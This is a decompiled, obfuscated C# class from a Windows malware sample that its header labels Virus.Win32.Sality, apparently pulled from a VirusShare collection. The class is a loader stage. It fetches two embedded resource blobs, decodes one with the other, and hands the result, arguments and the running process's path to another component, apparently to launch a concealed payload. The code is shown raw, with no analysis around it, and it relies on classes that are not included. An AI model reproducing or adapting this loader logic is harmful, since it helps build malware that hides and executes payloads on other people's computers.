// Decompiled with JetBrains decompiler // Type: . // Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe using \u0006; using \u0007; using \u0008; using SmartAssembly.SmartExceptionsCore; using System; using System.Diagnostics; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; namespace \u0007 { internal sealed class \u0004 : \u0001 { [MethodImpl(MethodImplOptions.NoInlining)] public \u0004() { \u0003.\u0003(); // ISSUE: explicit constructor call base.\u002Ector(); try { } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } [MethodImpl(MethodImplOptions.NoInlining)] public override object \u0003([In] object[] obj0) { object[] objArray1; byte[] numArray1; object[] objArray2; byte[] numArray2; object[] objArray3; byte[] numArray3; object[] objArray4; try { \u0005.\u0001 = (\u0001) new \u0005(); \u0001 obj1 = \u0005.\u0001; objArray1 = new object[1]{ (object) 100 }; object[] objArray5 = objArray1; numArray1 = (byte[]) obj1.\u0003(objArray5); \u0001 obj2 = \u0005.\u0001; objArray2 = new object[1]{ (object) 101 }; object[] objArray6 = objArray2; numArray2 = (byte[]) obj2.\u0003(objArray6); if (numArray1.Length <= 0 || numArray2.Length <= 0) return (object) null; \u0005.\u0001 = (\u0001) new \u0007.\u0006(); \u0001 obj3 = \u0005.\u0001; objArray3 = new object[2] { (object) numArray2, (object) numArray1 }; object[] objArray7 = objArray3; numArray3 = (byte[]) obj3.\u0003(objArray7); if (numArray3.Length <= 0) return (object) null; if (obj0.Length <= 0) { obj0 = new object[1]; obj0[0] = (object) new string[1]; } \u0005.\u0001 = (\u0001) new \u0006.\u0006(); \u0001 obj4 = \u0005.\u0001; objArray4 = new object[3] { (object) numArray3, (object) (string[]) obj0[0], (object) Process.GetCurrentProcess().MainModule.FileName }; object[] objArray8 = objArray4; obj4.\u0003(objArray8); return (object) null; } catch (Exception ex) { byte[] numArray4 = numArray1; byte[] numArray5 = numArray2; byte[] numArray6 = numArray3; object[] objArray9 = objArray1; object[] objArray10 = objArray2; object[] objArray11 = objArray3; object[] objArray12 = objArray4; object[] objArray13 = obj0; throw UnhandledException.\u0003(ex, (object) numArray4, (object) numArray5, (object) numArray6, (object) objArray9, (object) objArray10, (object) objArray11, (object) objArray12, (object) this, (object) objArray13); } } } }